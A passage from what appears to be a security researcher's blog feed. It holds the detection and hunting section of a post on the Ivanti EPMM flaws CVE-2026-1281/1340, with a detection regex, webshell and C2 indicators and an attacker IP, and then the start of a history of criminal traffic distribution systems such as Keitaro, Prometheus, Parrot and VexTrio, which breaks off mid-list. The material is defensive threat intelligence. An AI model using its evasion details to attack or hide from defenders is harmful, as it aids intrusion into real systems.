&lt;p&gt;&lt;strong&gt;The 404 False Negative&lt;/strong&gt;: Ivanti’s detection regex looks for 404 responses to vulnerable endpoints. The assumption is that successful exploitation returns a 404 because the requested application file doesn’t actually exist; it’s just a vehicle for command execution. However, this is not foolproof. Attackers can craft requests that return other status codes or legitimate responses while still achieving code execution. Don’t rely solely on 404 detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log Manipulation&lt;/strong&gt;: Once an attacker has code execution, they can modify logs. If you’re only checking logs on the EPMM server itself, you’re potentially reading fiction. This is why off-box log forwarding to a SIEM or centralized log collector is critical. If you don’t have that, you need to treat all on-box logs as potentially compromised.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In-Memory Implants&lt;/strong&gt;: The sleeper webshells identified at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/403.jsp&lt;/code&gt; are loaded as in-memory Java class loaders. They’re dormant until activated with a specific trigger parameter. They don’t write to disk. They don’t generate obvious network traffic. They just sit there waiting. Memory forensics is the only reliable way to detect these before they activate. Once you restart the application server, they’re gone, and you’ll never know they were there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Absence of Evidence Is Not Evidence of Absence&lt;/strong&gt;: The public PoC was released days after exploitation began in the wild. The actual zero-day exploitation may have used different techniques, different payload delivery methods, different persistence mechanisms. Just because you don’t see the known indicators doesn’t mean you weren’t compromised. It means the attackers were more sophisticated than the public exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Deleted Data Problem&lt;/strong&gt;: The Dutch Data Protection Authority incident revealed that EPMM doesn’t permanently delete removed data; it just marks it as deleted. This means attackers potentially had access to device and user data for all organizations that ever used the compromised EPMM instance, not just current users. Your forensic scope needs to account for this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attribution Uncertainty&lt;/strong&gt;: The primary exploitation IP identified by GreyNoise (193.24.123.42, AS200593 PROSPERO OOO) is linked to bulletproof hosting infrastructure associated with malware distribution. But IP geolocation reflects where the infrastructure is registered, not where the operator is sitting. Multiple threat actors may be using the same infrastructure. Attribution is murky at best.&lt;/p&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;p&gt;Start with the Ivanti-provided regex against Apache access logs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;^(?!127\.0\.0\.1:\d+ .*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This filters for 404 responses to vulnerable endpoints while excluding legitimate localhost traffic. But as discussed above, this is your baseline, not your conclusion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hunt for Bash Command Indicators&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Look for URL-encoded or direct Bash constructs in GET requests:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Backticks (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;`&lt;/code&gt;) or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$(...)&lt;/code&gt; command substitution&lt;/li&gt;
  &lt;li&gt;Array references with brackets &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[...]&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Suspicious parameter values in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt;, or other fields&lt;/li&gt;
  &lt;li&gt;Multiple underscores or delimiter characters that suggest parameter injection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Check for the Sleeper Webshell&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find /mifs &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;403.jsp&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Presence of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/403.jsp&lt;/code&gt; is a confirmed indicator of compromise. This is the path identified by Defused Cyber for the dormant in-memory class loader campaign.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Analysis&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Attackers are using DNS for C2. Look for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Unusual outbound DNS queries from the EPMM server&lt;/li&gt;
  &lt;li&gt;High frequency of DNS requests to non-standard domains&lt;/li&gt;
  &lt;li&gt;Long subdomain strings that may be encoding data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Review Administrative Actions&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;New or modified EPMM administrator accounts&lt;/li&gt;
  &lt;li&gt;Changes to device management policies&lt;/li&gt;
  &lt;li&gt;Unauthorized application deployments to managed devices&lt;/li&gt;
  &lt;li&gt;Modifications to authentication configurations (LDAP, SAML, etc.)&lt;/li&gt;
  &lt;li&gt;Network or security configuration changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Process Analysis&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;If the system is still running (before patching):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Unexpected Java processes&lt;/li&gt;
  &lt;li&gt;Processes spawned by the Apache user&lt;/li&gt;
  &lt;li&gt;Unusual parent-child process relationships&lt;/li&gt;
  &lt;li&gt;Short-lived processes that may be executing commands and immediately terminating&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Network Connections&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Outbound connections from the EPMM server to unexpected destinations&lt;/li&gt;
  &lt;li&gt;Particularly suspicious: connections to known bulletproof hosting ASNs&lt;/li&gt;
  &lt;li&gt;As of this writing, GreyNoise has identified 8 unique exploitation source IPs, with 193.24.123.42 accounting for 83% of observed activity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;File Integrity Monitoring&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Compare current system state against known-good baselines:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Bash scripts in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/&lt;/code&gt; (should be replaced with Java classes after patching)&lt;/li&gt;
  &lt;li&gt;Apache configuration files&lt;/li&gt;
  &lt;li&gt;Application files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/files/&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Any unexpected files in system directories&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hunt Across Your Environment&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;If one EPMM instance was compromised, threat actors may be moving laterally:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Check for unusual authentication attempts from the EPMM server’s IP&lt;/li&gt;
  &lt;li&gt;Look for credential theft or pass-the-hash attempts&lt;/li&gt;
  &lt;li&gt;Review access logs on systems the EPMM instance can reach&lt;/li&gt;
  &lt;li&gt;EPMM servers often have privileged access to enterprise resources due to their role in mobile device management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Post-Remediation Validation&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Verify the patch applied correctly by checking Apache configuration files in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/config-system/xsl/httpd_ssl_conf.xsl&lt;/code&gt;. The RewriteMap directives should point to Java classes, not Bash scripts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Test exploitation attempts against your patched instance using the public PoC. If the patch is applied correctly, exploitation attempts should fail. (Use a non-production instance for testing if possible.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Run Ivanti’s detection RPM to generate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ivanti_checks&lt;/code&gt; log file. Review findings in the context of your broader forensic investigation.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Assume Compromise&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;NCSC-NL guidance is clear: all organizations using Ivanti EPMM should assume compromise and conduct a forensic investigation. The zero-day exploitation period before disclosure means you may have been compromised without knowing it. The sleeper webshell campaign means you may be compromised right now and not see any active exploitation. Patching stops future exploitation; it doesn’t undo past compromise.&lt;/p&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2026-1281 and CVE-2026-1340 represent everything wrong with how these incidents unfold. Sophisticated zero-day exploitation affecting government and critical infrastructure. Vendor disclosure only after compromise is already in progress. Temporary patches that don’t persist through normal maintenance operations. Public PoC code released within 24 hours. Mass exploitation accelerating daily. Initial access brokers installing sleeper webshells for future operations.&lt;/p&gt;

&lt;p&gt;The technical exploitation is genuinely clever. Bash arithmetic expansion abuse through nested variable dereferencing is not something you stumble into by fuzzing. This required either deep understanding of shell evaluation mechanics or an incredible amount of reverse engineering effort. The fact that this was discovered and weaponized as a zero-day suggests a well-resourced threat actor with both technical sophistication and strategic patience.&lt;/p&gt;

&lt;p&gt;The forensic implications are sobering. In-memory implants that don’t survive reboots. Log manipulation by attackers with code execution. Deleted data that isn’t actually deleted. Detection gaps during the zero-day exploitation period. Limited indicators of compromise during the sleeper shell phase. This is a nightmare scenario for defenders trying to determine scope of compromise.&lt;/p&gt;

&lt;p&gt;If you’re running EPMM, the question is not “were we targeted?” It’s “when were we compromised, and what did they take?” With approximately 1,600 instances exposed globally and confirmed exploitation by initial access brokers, the probability of compromise is high. The time to act was January 29 when the advisory dropped. The next best time is now.&lt;/p&gt;

&lt;p&gt;Patch. Investigate. Assume compromise. Harden your defenses. This vulnerability isn’t just another critical RCE; it’s a case study in how sophisticated threat actors exploit enterprise infrastructure at scale.&lt;/p&gt;

&lt;p&gt;And for the love of all that is holy, stop passing user input through Bash arithmetic expansion.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Ivanti Security Advisory: &lt;a href=&quot;https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340&quot;&gt;CVE-2026-1281 &amp;amp; CVE-2026-1340&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;CISA Known Exploited Vulnerabilities Catalog: &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CVE-2026-1281&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;watchTowr Labs Technical Analysis: &lt;a href=&quot;https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/&quot;&gt;Someone Knows Bash Far Too Well&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;GreyNoise: &lt;a href=&quot;https://www.greynoise.io/blog/active-ivanti-exploitation&quot;&gt;Active Ivanti Exploitation Traced to Single Bulletproof IP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Rapid7: &lt;a href=&quot;https://www.rapid7.com/blog/post/etr-critical-ivanti-endpoint-manager-mobile-epmm-zero-day-exploited-in-the-wild-eitw-cve-2026-1281-1340/&quot;&gt;Critical Ivanti EPMM Zero-Day Exploited in the Wild&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;NVD: &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-1281&quot;&gt;CVE-2026-1281&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 15 Feb 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/02/15/ivanti_epmm_cve-2026-1281/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/02/15/ivanti_epmm_cve-2026-1281/</guid>
        
        <category>CVE-2026-1281</category>
        
        <category>CVE-2026-1340</category>
        
        <category>research</category>
        
        <category>ivanti</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>Internet Traffic Brokers: A History of TDS and the VexTrio Criminal Enterprise (Part 1)</title>
        <description>&lt;h2 id=&quot;the-business-model-youve-never-heard-of&quot;&gt;The Business Model You’ve Never Heard Of&lt;/h2&gt;

&lt;p&gt;Most people writing about cybercrime focus on the sexy stuff. APT groups with nation-state backing. Zero-day exploits sold for six figures. Ransomware crews making headlines. That’s all fine for the threat intel reports and conference presentations, but if you actually want to understand how modern cybercrime operates at scale, you’re looking in the wrong place.&lt;/p&gt;

&lt;p&gt;The real money isn’t in writing malware. It’s not even in deploying it. The real money is in owning the distribution pipeline. And nobody owns that pipeline like Traffic Distribution Systems.&lt;/p&gt;

&lt;p&gt;Traffic Distribution Systems (TDS) are the FedEx of cybercrime. They don’t care what you’re shipping. They just move packages from point A to point B, charging a fee for every delivery. Except instead of moving boxes, they’re moving compromised web traffic. And instead of delivering to your doorstep, they’re delivering victims to malware landing pages, phishing sites, and scam operations.&lt;/p&gt;

&lt;p&gt;VexTrio isn’t just another TDS. It’s the culmination of two decades of criminal evolution, a multinational enterprise that controls nearly 100 companies across adtech, energy, construction, and hospitality. Yes, hospitality. They own ski resorts. By 2024, their affiliate network Los Pollos claimed 2 billion unique monthly users. GoDaddy determined that 40% of compromised websites they observed were funneling traffic to VexTrio infrastructure. This isn’t a hacking group operating out of a basement. This is organized crime running at Fortune 500 scale.&lt;/p&gt;

&lt;h2 id=&quot;the-evolution-of-tds-from-exploit-kits-to-criminal-infrastructure&quot;&gt;The Evolution of TDS: From Exploit Kits to Criminal Infrastructure&lt;/h2&gt;

&lt;p&gt;To understand VexTrio and the modern TDS landscape, you need to understand where this all came from. The concept isn’t new. It’s been iterating and improving since at least 2011 when Symantec first documented cybercriminals using traffic distribution to deliver exploit kits based on victim profiles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Exploit Kit Era (2011-2016)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Back in the early 2010s, exploit kits ruled web-based malware distribution. Angler, Nuclear, Blackhole. These were turnkey malware delivery platforms that automatically exploited browser vulnerabilities to install ransomware, banking trojans, and everything in between.&lt;/p&gt;

&lt;p&gt;Every major exploit kit included a TDS component, though back then they called it a “gate” or “fingerprinting system.” The concept was simple: not every victim is worth attacking. Someone browsing from a corporate security vendor’s IP range? Don’t waste an exploit on them. Someone using an outdated version of Internet Explorer from a residential IP? Perfect target.&lt;/p&gt;

&lt;p&gt;These early TDS implementations were primitive by today’s standards. They filtered on basic parameters like User-Agent, IP geolocation, and browser plugins. But they worked well enough that Nuclear EK became the preferred distribution method for Locky ransomware, one of the most devastating campaigns of the mid-2010s.&lt;/p&gt;

&lt;p&gt;Then law enforcement started taking down the major exploit kit operations. Nuclear went dark in 2016. Angler disappeared around the same time. The exploit kit model had a fundamental problem: these were monolithic operations. Take down the infrastructure, and the entire operation collapses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Disaggregation Phase (2017-2020)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Smart criminals learned from this. Instead of building vertically integrated operations where one group controlled everything from traffic acquisition to payload delivery, they started specializing. Some groups focused on compromising websites. Others developed the exploitation frameworks. And a third group emerged to handle the middleman role: traffic distribution.&lt;/p&gt;

&lt;p&gt;BlackTDS appeared in late December 2017, advertised on dark web forums as “Cloud TDS.” For $6 per day, threat actors could route their traffic through BlackTDS infrastructure without needing to run their own servers. The service promised anti-bot filtering to keep out researchers, fresh HTTPS domains with clean reputations, and API integration with popular exploit kits.&lt;/p&gt;

&lt;p&gt;The advertisements were refreshingly honest about what they were selling: “Cloacking antibot tds based on our non-abuse servers from $3 per day of work. You do not need your own server to receive traffic. API for working with exploit packs and own solutions for processing traffic for obtaining installations (FakeLandings). Dark web traffic ready-made solutions.”&lt;/p&gt;

&lt;p&gt;Proofpoint researchers observed TA505, a group known for massive spam campaigns distributing ransomware and banking trojans, using BlackTDS to redirect victims to pharmaceutical spam sites. The fact that a major threat actor was outsourcing their traffic distribution to a third-party service was significant. It meant TDS-as-a-Service was viable.&lt;/p&gt;

&lt;p&gt;Around the same time, other TDS operations launched, each with different business models and technical approaches. These would become the foundation of the modern TDS ecosystem that powers cybercrime distribution today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keitaro TDS: The Legitimate Face of Cybercrime Infrastructure&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keitaro is the most complex case study in the TDS ecosystem. It’s a legitimate Estonian company founded in 2009 by Artur Sabirov (who also founded marketing software vendor Apliteni in 2006). The company openly markets itself as an advertising tracker with flow distribution functionality for A/B testing and traffic management.&lt;/p&gt;

&lt;p&gt;And they’re not lying. Keitaro is used by legitimate affiliate marketers globally. The problem is that it’s also extensively abused by cybercriminals, and Keitaro’s position on this abuse has been… ambiguous at best.&lt;/p&gt;

&lt;p&gt;The technical capabilities that make Keitaro valuable for legitimate advertising also make it perfect for malware distribution. The platform provides sophisticated filtering based on browser version, geographic location, OS/platform, mobile carrier, and IP range. It can enforce unique hits by tracking users via IP and cookies across variable timeframes. It supports multiple campaign streams with linear or randomized selection.&lt;/p&gt;

&lt;p&gt;Here’s where it gets interesting: Keitaro includes features that seem specifically designed for malicious use. The platform integrates with AV checking services that don’t share samples with the AV industry, allowing operators to verify their malware remains undetected. The help documentation explicitly explains how to break referrer chains, directly impacting researcher’s ability to trace activity and connect exploit kit instances back to originating sites.&lt;/p&gt;

&lt;p&gt;Keitaro’s Cookie structure is distinctive. When analyzing HTTP traffic, the Set-Cookie value contains a Base64-encoded block set to a variable named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3f06b&lt;/code&gt;. This is a reliable indicator of Keitaro TDS in network traffic and has been incorporated into multiple detection signatures.&lt;/p&gt;

&lt;p&gt;Throughout its history, Keitaro has been linked to major cybercrime operations. RIG and Nuclear exploit kits used Keitaro for traffic distribution starting in 2019. SocGholish operations have relied heavily on Keitaro infrastructure since at least 2022. ClearFake, the fake browser update campaign, routes substantial traffic through Keitaro instances. Russian influence operations including the Doppelganger disinformation campaign in 2022 used Keitaro to target audiences in the U.S., Ukraine, and Germany.&lt;/p&gt;

&lt;p&gt;The malware distributed through Keitaro reads like a who’s who of modern threats: AZORult, Predator the Thief, KPOT, SystemBC, Osiris, Chthonic, Vidar Stealer, Amadey downloading Danabot, Gootkit, and countless others. In August 2019, Keitaro was observed funneling traffic to Fallout and RIG exploit kits based on victim vulnerabilities and geolocation.&lt;/p&gt;

&lt;p&gt;Keitaro’s official stance is that they’re a legitimate business and any abuse is from cracked versions of their software. They point to nulled software marketplaces like NullSEO that distribute pirated Keitaro installations bypassing license validation. These cracked copies supposedly allow cybercriminals to use the platform without paying for legitimate licenses.&lt;/p&gt;

&lt;p&gt;The problem with this narrative is that cracked software doesn’t explain the extensive documentation on breaking referrer chains or the AV integration features. Legitimate A/B testing doesn’t need those capabilities. Security researchers who’ve analyzed Keitaro’s operations note that the company appears aware of how threat actors use their product and have made design choices that support malicious use cases.&lt;/p&gt;

&lt;p&gt;Proofpoint’s assessment in 2019 summarizes the challenge: “Because Keitaro also has many legitimate applications, it is frequently difficult or impossible to simply block traffic through the service without generating excessive false positives.” This dual-use problem makes Keitaro infrastructure nearly impossible to defend against at scale.&lt;/p&gt;

&lt;p&gt;By 2025, researchers estimated Keitaro was delivering malware through thousands of compromised websites and continued to be a primary traffic source for SocGholish operations. The platform’s ties to Russia (website hosted on Russian nameservers for over a decade, Russian language support, connections to Russia-based RIG and Nuclear exploit kit operators) raise additional questions about the company’s true nature.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prometheus TDS: Underground Subscription Service&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If Keitaro represents the gray area between legitimate business and cybercrime, Prometheus TDS is unambiguously criminal. The service appeared in September 2020 when a user named “Ma1n” advertised it on Russian underground forums.&lt;/p&gt;

&lt;p&gt;Ma1n wasn’t new to the scene. He’d been active since at least October 2018, selling mass email services, non-blacklisted business-grade SMTP servers for spam campaigns, and web traffic redirect services through BlackTDS and Keitaro. By 2020, he’d acquired enough expertise to build his own solution. Prometheus TDS launched at $250 per month, marketed as a “professional redirect system” with anti-bot protection suitable for email marketing, traffic generation, and social engineering.&lt;/p&gt;

&lt;p&gt;The infrastructure is subscription-based Crimeware-as-a-Service. Customers rent access to Prometheus’s network of compromised websites. They configure their malware payload, specify targeting parameters (geographic location, browser, OS version, language), and provide lists of hacked servers. Prometheus scans the provided servers, deploys PHP backdoors, and begins routing traffic.&lt;/p&gt;

&lt;p&gt;The typical attack chain starts with spam emails containing HTML attachments, Google Doc links, or web shell URLs. Victims who click land on websites running Prometheus.Backdoor, a PHP script that fingerprints the visitor (browser, OS, timezone, language) and transmits this data to C2 servers. The C2 analyzes the profile against campaign parameters and either redirects to a malicious payload or sends the victim to a benign page.&lt;/p&gt;

&lt;p&gt;Prometheus has been used to distribute some of the most dangerous malware families observed in recent years. BlackBerry researchers documented Campo Loader (used to distribute TrickBot and Ursnif), Hancitor, IcedID, QBot, SocGholish, Buer Loader, VBS Loader, and numerous others flowing through Prometheus infrastructure. Group-IB’s analysis found 34 malicious documents in a single campaign delivering Hancitor, with victims redirected to DocuSign phishing pages or fake banking sites using IDN domains.&lt;/p&gt;

&lt;p&gt;Beyond malware, Prometheus has been used for bank phishing, pharmaceutical spam, fake VPN distribution, and tech support scams. The versatility of the platform makes it attractive to diverse criminal operations.&lt;/p&gt;

&lt;p&gt;One of the most interesting discoveries about Prometheus is its connection to cracked Cobalt Strike installations. BlackBerry researchers identified a specific SSL public key (MD5: e9ae865f5ce035176457188409f6020a) that appeared in over 16% of their Cobalt Strike dataset. This single SSL key pair was observed in operations using DarkCrystalRAT, FickerStealer, Cerber, REvil, Ryuk, BlackMatter, FIN7, IcedID, and an initial access broker named Zebra2104.&lt;/p&gt;

&lt;p&gt;The theory is that Prometheus operators distribute this cracked Cobalt Strike version to their customers, either as part of a standard playbook or pre-configured VM installation. This would explain why so many disparate criminal groups are using the identical SSL key pair. It’s not coincidence. It’s infrastructure-as-a-service extending beyond just traffic distribution into post-exploitation tooling.&lt;/p&gt;

&lt;p&gt;Prometheus.Backdoor is believed to be deployed via vulnerable PHPMailer installations on WordPress sites, though other compromise vectors are likely used as well. Once installed, the backdoor is lightweight and difficult to detect, blending in with legitimate PHP code on the server.&lt;/p&gt;

&lt;p&gt;The service remains active as of 2025. Group-IB analysts observe new Prometheus.Backdoor infections daily, and admin panels for new customers appear regularly on C2 infrastructure. Ma1n continues to maintain and update the service, adapting to defensive measures and evolving with the cybercrime ecosystem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parrot TDS: Mass Compromise at Global Scale&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parrot TDS emerged in October 2021 as a next-generation traffic distribution network focused on massive scale. Unlike Prometheus’s subscription model or Keitaro’s commercial platform, Parrot operates through wholesale compromise of vulnerable web servers.&lt;/p&gt;

&lt;p&gt;By March 2022, Avast researchers documented over 16,500 compromised websites infected with Parrot TDS, including personal sites, university servers, adult content platforms, and local government resources. The operation is notable for its sheer reach. In a single month (March 2022), Avast protected over 600,000 unique users from infected Parrot sites, with the most impacted regions being Brazil (73,000 users), India (55,000 users), and the United States (31,000 users).&lt;/p&gt;

&lt;p&gt;Parrot’s technical implementation comes in two variants: proxied and direct. Both versions inject malicious JavaScript into legitimate files on compromised servers. The injected code contains distinctive keywords (ndsj, ndsw for landing scripts; ndsx for payload scripts) that make Parrot relatively easy to identify in network traffic if you know what to look for.&lt;/p&gt;

&lt;p&gt;The proxied version communicates with TDS infrastructure via malicious PHP scripts on the compromised server. When a victim visits an infected page, the landing script fingerprints them (IP address, User-Agent, referrer, cookies) and sends this data to the PHP proxy. The proxy contacts Parrot’s C2 infrastructure and receives instructions, which are then passed back to the victim’s browser. The direct version skips the local PHP proxy and contacts C2 servers directly via JavaScript.&lt;/p&gt;

&lt;p&gt;Parrot’s primary customer is SocGholish (also known as FakeUpdate). The relationship was identified even in the earliest Avast reports from 2022. SocGholish operators leverage Parrot’s massive compromise network to present fake browser update prompts to filtered victims. The JavaScript delivered through Parrot contains Base64-encoded ZIP archives with malicious payloads that install Remote Access Tools when executed.&lt;/p&gt;

&lt;p&gt;The filtering logic is multilayered. Parrot performs initial filtering based on IP address, User-Agent, and referrer. Only victims passing these checks receive the secondary payload script. SocGholish then applies additional filtering, checking for WordPress administrators, previously infected users, automated browsers, and unusually small screen sizes that might indicate sandbox environments.&lt;/p&gt;

&lt;p&gt;What makes Parrot particularly dangerous is its focus on poorly secured WordPress and Joomla installations. Operators appear to select targets based on security posture rather than specific industries or content types. If a website runs vulnerable CMS software with weak credentials, it becomes part of the Parrot network. This opportunistic approach has resulted in an extremely diverse set of compromised sites across every sector imaginable.&lt;/p&gt;

&lt;p&gt;Alongside the JavaScript injections, researchers discovered web shells providing persistent remote access to compromised servers. These web shells allow Parrot operators to maintain access even if the malicious JavaScript is detected and removed. The combination of JavaScript injection and web shell persistence makes remediation difficult without comprehensive server auditing.&lt;/p&gt;

&lt;p&gt;Palo Alto Networks Unit 42 has continued tracking Parrot evolution through 2024, documenting changes in obfuscation techniques and payload delivery methods. The distinctive keywords in Parrot scripts remain consistent enough for signature-based detection, though the surrounding code is regularly modified to evade static analysis.&lt;/p&gt;

&lt;p&gt;By 2025, Parrot infrastructure continues to operate alongside other TDS systems. SocGholish operators now use both Parrot TDS and Keitaro TDS for traffic distribution, with Parrot handling large-scale commodity traffic and Keitaro providing more sophisticated filtering for premium campaigns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The TDS Ecosystem: Infrastructure for Every Budget&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What these various TDS operations demonstrate is specialization and market segmentation within cybercrime infrastructure.&lt;/p&gt;

&lt;p&gt;Keitaro serves the commercial market. It’s expensive, feature-rich, and provides the sophisticated filtering that professional operations demand. The legal ambiguity around its use makes it difficult for law enforcement to shut down, and the legitimate customer base provides cover for malicious use.&lt;/p&gt;

&lt;p&gt;Prometheus caters to mid-tier operations that want turnkey infrastructure without building their own. For $250/month, criminals get access to an established network of compromised sites, automated payload delivery, and integration with common malware families. It’s the software-as-a-service model applied to cybercrime.&lt;/p&gt;

&lt;p&gt;Parrot focuses on volume. It doesn’t offer the sophisticated filtering of Keitaro or the managed service approach of Prometheus. Instead, it provides raw scale through wholesale WordPress compromise. For operations like SocGholish that need to filter millions of potential victims to find thousands of valuable targets, Parrot’s massive footprint is ideal.&lt;/p&gt;

&lt;p&gt;VexTrio, which we’ll explore in detail shortly, represents the enterprise tier. They don’t just operate a TDS. They’ve built an entire vertically integrated criminal enterprise with traffic distribution as the core business function.&lt;/p&gt;

&lt;p&gt;All of these operations share common characteristics: network of compromised websites as traffic sources, fingerprinting and filtering to identify valuable victims, multi-hop redirect chains to obscure the final payload, integration with legitimate infrastructure (CDNs, DNS providers) to avoid detection, and continuous adaptation to defensive measures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The VexTrio Model (2017-Present)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;VexTrio launched its TDS infrastructure in 2017, coinciding with the earliest versions of SocGholish malware. But VexTrio did something different. Instead of just running a TDS, they built an entire ecosystem.&lt;/p&gt;

&lt;p&gt;The operation is actually a merger of two distinct criminal factions that had been building capabilities independently since 2004. An Italian group centered around Tekka Group and Crownstone LLC had been running online dating scams and spam operations. Key figures held degrees from the London School of Economics and Bocconi University. These weren’t technical people. They were business operators who understood customer acquisition, conversion funnels, and how to structure shell companies across multiple jurisdictions.&lt;/p&gt;

&lt;p&gt;Simultaneously, an Eastern European group was building technical infrastructure through entities like AdsPro Group. Where the Italian faction excelled at front-end operations, the Eastern European team brought deep engineering capabilities for large-scale traffic manipulation.&lt;/p&gt;

&lt;p&gt;In 2020, these two factions formally merged into what researchers now call VexTrio Viper, a multinational structure encompassing nearly 100 companies. They own entities in adtech, energy, construction, hospitality, and mobile app development. Some of these companies are completely legitimate. Others exist solely to provide infrastructure for cybercrime operations. Most fall somewhere in between.&lt;/p&gt;

&lt;p&gt;The genius of VexTrio’s model is vertical integration hidden behind horizontal diversification. They control every step of the scam supply chain while making each component look like a standalone legitimate business.&lt;/p&gt;

&lt;h2 id=&quot;the-vextrio-ecosystem-how-it-all-fits-together&quot;&gt;The VexTrio Ecosystem: How It All Fits Together&lt;/h2&gt;

&lt;p&gt;VexTrio operates through layers of commercial entities that blur the line between legitimate business and organized crime.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Affiliate Networks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three companies serve as the public-facing operations:&lt;/p&gt;

